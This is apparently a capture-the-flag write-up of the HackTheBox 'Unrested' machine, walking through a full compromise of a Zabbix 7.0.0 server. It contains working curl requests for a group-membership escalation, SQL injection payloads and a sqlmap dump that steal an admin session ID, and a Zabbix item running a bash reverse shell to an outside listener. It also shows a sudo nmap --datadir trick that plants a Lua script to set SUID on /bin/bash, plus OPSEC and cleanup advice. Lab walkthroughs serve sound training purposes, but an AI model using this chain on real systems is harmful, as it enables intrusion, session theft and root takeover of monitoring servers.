Post

HackTheBox Unrested

Writeup for HackTheBox Unrested

HackTheBox Unrested

Machine Synopsis

Unrested is a medium difficulty Linux machine hosting a version of Zabbix. Enumerating the version of Zabbix shows that it is vulnerable to both CVE-2024-36467 (missing access controls on the user.update function within the CUser class) and CVE-2024-42327 (SQL injection in user.get function in CUser class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the zabbix user to execute sudo /usr/bin/nmap, an optional dependency in Zabbix servers that is leveraged to gain root access. (Source)

As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: [matthew / 96qzn0h2e1k3]

Key exploitation techniques:

  • Zabbix API authentication bypass (CVE-2024-36467)
  • Zabbix API SQL Injection (CVE-2024-42327)
  • SQLi data exfiltration of session IDs
  • Zabbix system.run item for remote code execution
  • sudo /usr/bin/nmap misconfiguration via NSE script injection

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp), along with Zabbix-specific ports (10050/tcp for agent and 10051/tcp for trapper).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --min-rate 10000 10.10.11.50
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
10050/tcp open  zabbix-agent
10051/tcp open  zabbix-trapper


❯ nmap -p 22,80,10050,10051 -sC -sV 10.10.11.50
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Accessing the web server on port 80 revealed a Zabbix instance. The Zabbix dashboard confirmed version 7.0.0.

webpage

user_dashboard

Researching “zabbix 7.0.0 exploit” quickly identified two relevant CVEs:

  • CVE-2024-36467 (Missing Access Controls): Allows an authenticated user with API access to add themselves to any user group (e.g., Zabbix Administrators) via user.update endpoint, excluding disabled or restricted GUI access groups.
  • CVE-2024-42327 (SQL Injection): A SQL Injection exists in the CUser class’s addRelatedObjects function, called by CUser.get, accessible to any user with API access.

Here is official GitHub commit that tries to fix the issue.

Exploitation

Zabbix API Authentication

To check how we can use the API calls, we can refer to the official Zabbix documentation.

An API token was obtained for the matthew user using the user.login API method.

1
2
3
4
5
6
7
8
9
10
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}' | jq

{
  "jsonrpc": "2.0",
  "result": "97217e8d804c125a8f41989582c0aab5",
  "id": 1
}

The session ID 97217e8d804c125a8f41989582c0aab5 was obtained. The user.checkAuthentication method confirmed matthew’s userid as 3 and roleid as 1 (User role).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.checkAuthentication",
    "params": { "sessionid": "97217e8d804c125a8f41989582c0aab5" },
    "id": 1
}' | jq

{
  "jsonrpc": "2.0",
  "result": { "userid": "3", "username": "matthew", "roleid": "1", ... },
  "id": 1
}

Escalation via CVE-2024-36467 (Group Update)

CVE-2024-36467 allows users with API access to add themselves to any user group, with a specific bypass for “user cannot change own role”. An initial attempt to directly change matthew’s roleid failed as expected, due to Zabbix’s checkHimself validation function. This function checks for userid and roleid changes, but not usrgrps (user groups).

1
2
3
4
5
6
7
# Attempt to change roleid directly - fails.
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "roleid": "3"}, "id": 1, "auth": "97217e8d804c125a8f41989582c0aab5"}' | jq

{ "jsonrpc": "2.0", "error": { "code": -32602, "message": "Invalid params.", "data": "User cannot change own role." }, "id": 1 }

User group IDs were identified using usergroup.get API documentation. Groups 7 (Zabbix administrators) and 11 (Enabled debug mode) were relevant. matthew (userid 3) was added to these groups using user.update via the usrgrps parameter, bypassing the roleid validation.

1
2
3
4
5
6
7
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 97217e8d804c125a8f41989582c0aab5' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "usrgrps": [{"usrgrpid":"7"},{"usrgrpid":"11"}]}, "id": 1 }' | jq

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

This successfully added matthew to the administrator and debug groups.

Escalation via CVE-2024-42327 (SQL Injection)

Despite group membership, matthew still could not directly change his own role. The second vulnerability, CVE-2024-42327, an SQL injection in user.get, was leveraged to extract administrative session IDs from the sessions table.

A user.get request was saved to a file (req) for sqlmap to analyze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# req file content
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.11.1
Accept: */*
Authorization: Bearer 97217e8d804c125a8f41989582c0aab5
Content-Type: application/json-rpc
Content-Length: 189
Connection: keep-alive

{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": ["roleid", "name", "type", "readonly"]
    },
    "id": 1
}

sqlmap identified a time-based blind SQL injection point in the selectRole parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ sqlmap -r req --batch
...
---
Parameter: JSON #5* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": ["roleid AND (SELECT 4896 FROM (SELECT(SLEEP(5)))cNOC)", "name", "type", "readonly"]
    },
    "id": 1
}
--- [INFO] the back-end DBMS is MySQL
...

The zabbix database tables, specifically the sessions table, were dumped to obtain session IDs.

1
2
3
4
5
6
7
8
9
10
11
❯ sqlmap -r req --batch -D zabbix -T sessions -dump
...
Database: zabbix
Table: sessions
[2 entries]
+--------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid                        | secret                           | status   | lastaccess |
+--------+----------------------------------+----------------------------------+----------+------------+
| 1      | 0d018f2a66b16a04ad619330c51a6819 | d27ac47f8657711f7efaeeaab04f434c | 0        | 1739176681 |
| 3      | 1052039f26095bea3447e109a0302d8e | d2f9ff93070d1dab47a73bb1a203f5bb | 0        | 1739178283 |
+--------+----------------------------------+----------------------------------+----------+------------+

The session ID 0d018f2a66b16a04ad619330c51a6819 for userid 1 (Admin) was extracted.

Alternative SQLi Data Exfiltration:

Manual SQL injection can be used for more precise data extraction if sqlmap is not preferred or yields limited results.

1
2
3
4
5
6
7
8
9
10
  {
     "jsonrpc": "2.0",
     "method": "user.get",
     "params": {
         "output": ["userid", "username"],
         "selectRole": ["roleid, (SELECT GROUP_CONCAT(sessionid) FROM sessions WHERE userid=1)", "name", "type", "readonly"]
     },
     "id": 1
  }
  # This payload directly concatenates the session ID into the output.

The extracted Admin session ID was validated with user.checkAuthentication.

1
2
3
4
5
6
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{ "jsonrpc": "2.0", "method": "user.checkAuthentication", "params": { "sessionid": "0d018f2a66b16a04ad619330c51a6819" }, "id": 1 }' | jq

{ "jsonrpc": "2.0", "result": { "userid": "1", "username": "Admin", "type": 3, "gui_access": "1", "sessionid": "0d018f2a66b16a04ad619330c51a6819", ... }, "id": 1 }

The session was confirmed to belong to Admin.

Remote Code Execution (RCE) via Zabbix Item

With Admin privileges, a malicious Zabbix item was created using the item.create API method. Zabbix items can be configured to execute system commands using the system.run key.

First, hostid and interfaceid for the Zabbix server were retrieved using host.get.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"id":1}' | jq

{
  "jsonrpc": "2.0",
  "result": [
    {
      "hostid": "10084",
      "host": "Zabbix server",
      "interfaces": [ { "interfaceid": "1" } ]
    }
  ],
  "id": 1
}

The hostid was 10084 and interfaceid was 1.

A reverse shell item was then created.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
  "jsonrpc": "2.0",
  "method": "item.create",
  "params": {
    "name": "revshell",
    "key_": "system.run[\"bash -c \\\"bash -i >& /dev/tcp/10.10.16.23/8888 0>&1\\\"\"]",
    "hostid": "10084",
    "type": 0,
    "value_type": 1,
    "delay": "1s",
    "interfaceid": "1"
  },
    "id": 1
}' | jq

{ "jsonrpc": "2.0", "result": { "itemids": [ "47184" ] }, "id": 1 }

A netcat listener was set up on the attacker machine.

1
2
3
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.50] 51066

A reverse shell was received, executing as the zabbix user.

1
2
3
4
5
bash: cannot set terminal process group (5432): Inappropriate ioctl for device
zabbix@unrested:/$ whoami
zabbix
zabbix@unrested:/$ cat /home/matthew/user.txt
a136427136dfd9c04d95059d1ece668d

The user.txt flag was retrieved.

Privilege Escalation: sudo /usr/bin/nmap Abuse

Privilege escalation was attempted by examining the zabbix user’s sudo privileges.

1
2
3
zabbix@unrested:/$ sudo -l
User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

The zabbix user could execute /usr/bin/nmap as root without a password. However, executing sudo nmap --interactive failed.

1
2
zabbix@unrested:/$ sudo nmap --interactive
Interactive mode is disabled for security reasons.

Inspection of /usr/bin/nmap revealed it was a wrapper script that restricted certain nmap options.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
zabbix@unrested:/$ cat $(which nmap)
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons." # Script mode restricted
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

exec /usr/bin/nmap.original "$@" # Executes original nmap binary

The script explicitly blacklisted --interactive and --script (NSE mode), which are common nmap exploit vectors. However, the wrapper executes the nmap.original binary and doesn’t explicitly restrict the --datadir option.

Nmap NSE Script Injection

nmap’s --datadir option allows specifying an alternative directory for Nmap’s data files, including NSE scripts. This can be abused to load custom NSE scripts for RCE.

A custom NSE script (nse_main.lua) was created in /tmp to execute chmod 4775 /bin/bash, making /bin/bash a SUID binary.

1
zabbix@unrested:/$ echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua

The wrapper script was then executed with sudo, using --datadir=/tmp to load the malicious nse_main.lua and specifying a target (localhost) and a script scan (-sC, a basic script category that will trigger default scripts in the --datadir path).

1
2
3
4
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 (https://nmap.org) at 2025-02-10 10:03 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed. # Expected error due to NSE script structure, but payload executes
bash: [5434: 2 (255)] tcsetattr: Inappropriate ioctl for device

Despite the assertion error, the nse_main.lua script executed, setting the SUID bit on /bin/bash.

1
2
zabbix@unrested:/$ ls -la /bin/bash
-rwsrwxr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Root Access

The SUID bash binary was then executed to gain a root shell.

1
2
3
4
5
zabbix@unrested:/$ bash -p
root@unrested:/# whoami
root
root@unrested:/# cat /root/root.txt
2d40433424e2f917fae86d4bd056cb47

The root.txt flag was retrieved.

OPSEC for SUID Binary Creation:

Creating SUID binaries leaves a clear forensic artifact. For stealthier engagements, a direct root shell (e.g., reverse shell payload in os.execute) or a temporary root command execution is preferred. If a SUID binary is created, it should be reverted immediately after use.

1
2
  # As root after getting the flag
  root@unrested:/# chmod 755 /bin/bash # Revert SUID on bash

Cleanup

To maintain operational security, any created artifacts should be removed.

1
2
3
# On target machine as root
root@unrested:/# rm /tmp/nse_main.lua
# Optionally, if the Zabbix item was not deleted earlier, delete it now.
This post is licensed under CC BY 4.0 by the author.